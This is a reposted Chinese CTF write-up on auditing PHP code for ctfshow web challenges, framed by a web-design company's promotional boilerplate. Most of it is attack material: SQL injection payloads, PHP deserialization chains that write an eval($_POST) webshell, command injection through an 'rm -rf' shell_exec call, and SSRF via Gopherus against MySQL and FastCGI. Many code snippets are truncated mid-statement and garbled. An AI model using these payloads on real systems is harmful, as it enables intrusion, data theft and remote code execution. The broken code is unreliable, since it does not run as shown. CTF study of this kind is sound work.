这期内容当中小编将会给大家带来有关如何进行php代码审计,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
成都创新互联服务项目包括武乡网站建设、武乡网站制作、武乡网页制作以及武乡网络营销策划等。多年来,我们专注于互联网行业,利用自身积累的技术优势、行业经验、深度合作伙伴关系等,向广大中小型企业、政府机构等提供互联网行业的解决方案,武乡网站推广取得了明显的社会效益与经济效益。目前,我们服务的客户以成都为中心已经辐射到武乡省份的部分城市,未来相信会继续扩大服务区域并继续获得客户的支持与信任!
下载地址: https://ctfshow.lanzoui.com/ilMPgjfeyxa
用 seay 啥也没审到。
直接手工来。
checklogin.php:
query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows<1){ $_SESSION['error']="1"; header("location:login.php"); return; } if(!strcasecmp($userpwd,$row['sds_password'])){ $_SESSION['login']=1; $result->free(); $mysqli->close(); header("location:index.php"); return; } $_SESSION['error']="1"; header("location:login.php"); ?>
这里很明显$username
,没有过滤而产生 sql注入。
payload:
userid=1'union select 1#&userpwd=1
成功登录,拿到flag.
修改处
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
fun.php:
在本地尝试一下:
构造payload:
userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1
下载地址: https://ctfshow.lanzous.com/i6wtkjg1gxa
seay审计,
有注入漏洞,而用户名登陆出限制了用户名长度无法注入。
dptadd.php:
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
dpt.php:
query($sql); ?>
但前提是得登录。
尝试弱口令 admin/admin 登录成功。
在dptadd.php
增加数据后,会在dpt.php
中显示数据。
构造paylaod:
dpt_name=1',sds_address =(select database())# # 得到 sds dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())# # 得到 sds_dpt,sds_fl9g,sds_user dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")# # 得到 flag dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#
增加了全局waf
function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str); }
但是还是可以注入。
payload:
dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#
多了waf:
function sds_waf($str){ if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){ return false; }else{ return true; } }
但是多了个反序列化写文件漏洞点。
class.php
username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } }
checklogin.php:
require 'class.php'; $user_cookie = $_COOKIE['user']; if(isset($user_cookie)){ $user = unserialize($user_cookie); }
那么只需要传cookie即可利用返反序列化写文件。
exp:
username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } } echo urlencode(serialize(new user('1.php','')));
得到
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
在checklogin.php
传入cookie值。即可写入shell.
蚁剑连接:
连接数据库:
代码地址:https://pan.baidu.com/s/14NNHrtQayhOBN9t8Iq3V_g提取码 wiji
开始使用mvc结构
class.php:
class log{ public $title='log.txt'; public $info=''; public function loginfo($info){ $this->info=$this->info.$info; } public function close(){ file_put_contents($this->title, $this->info); } }
又有反序列化写文件。但不同的是这里得手动调用函数close
,而不是析构函数了。
但是在过程审计的时候,这里
login.php
只要cookie传入一个序列化后base64编码后的字符串都可以成功登录后台,但并没卵用。
接着审计。看看有没有地方调用
close
的。在
dao.php
中:config=new config(); $this->init(); } private function init(){ $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db()); } public function __destruct(){ $this->conn->close(); } public function get_user_password_by_username($u){ $sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;"; $result=$this->conn->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows>0){ return $row['sds_password']; }else{ return ''; } } }他的析构函数正好调用
$this->conn->close();
,那么如果使其$this->conn
为 log 类就可以成功了,恰巧这里也包含了 class.php ,require 'class.php';
。此时我们有需要去找一个调用
dao
的,找到index.php
,正好包含了
dao.php
,而且有反序列化unserialize
。Exp:
conn=new log(); } public function __destruct(){ $this->conn->close(); } } class log{ public $title='log.php'; public $info=''; public function close(){ file_put_contents($this->title, $this->info); } } echo base64_encode(serialize(new dao()));把得到的字符串当作 cookie user 值访问 index.php,就可写入shell.
web307
下载: https://ctfshow.lanzous.com/iQQhxjgy8bi
使用 seay 发现两处疑似漏洞点,第一处由于方法名
closelog
漏洞点无法利用。第二处:
dao.php
public function clearCache(){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); }我们可以通过 seay 全局搜索函数的功能找到那里调用此函数。
审计代码,发现
logout.php
可利用:clearCache(); } setcookie('PHPSESSID','',0,'/'); setcookie('service','',0,'/'); header("location:../login.php"); ?>但是这里没有直接包含
dao.php
,我们去看看
service.php
,发现其包含dao.php
的,并且service 类也有调用函数public function clearCache(){ $this->dao->clearCache(); }所以很明显了,这里利用
logout.php
进行反序列化任意执行命令的漏洞可以:通过 service.php 调用 dao 类调用其函数
直接调用 dao.php 调用其函数
因为这里
$this->config->cache_dir
还需要用到cache.dir
, 他是config.php 中的变量," >1.php;'; } class dao{ private $config; public function __construct(){ $this->config=new config(); } } echo base64_encode(serialize(new dao()));web308
下载: https://ctfshow.lanzous.com/i6HyHjh8njg
与上题相比这里增加了过滤:
public function clearCache(){ if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); } }但是又有一尺 ssrf 可利用。
dao.php:
public function checkVersion(){ return checkUpdate($this->config->update_url); }fun.php
function checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $res = curl_exec($ch); curl_close($ch); return $res; }在 index.php 中被调用:
checkVersion(); } ?>利用 gopherus打内网 mysql.
https://github.com/tarunkant/Gopherusexp:
config=new config(); } } $a=new dao(); echo base64_encode(serialize($a)); ?>
得到 shell.
web309
需要拿shell,308的方法不行了,mysql 有密码了FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。
https://www.anquanke.com/post/id/186186python2 gopherus.py --exploit fastcgiexp:
config=new config(); } } $a=new dao(); echo base64_encode(serialize($a)); ?>上述就是小编为大家分享的如何进行php代码审计了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。
当前文章:如何进行php代码审计
本文路径:http://njwzjz.com/article/psjgid.html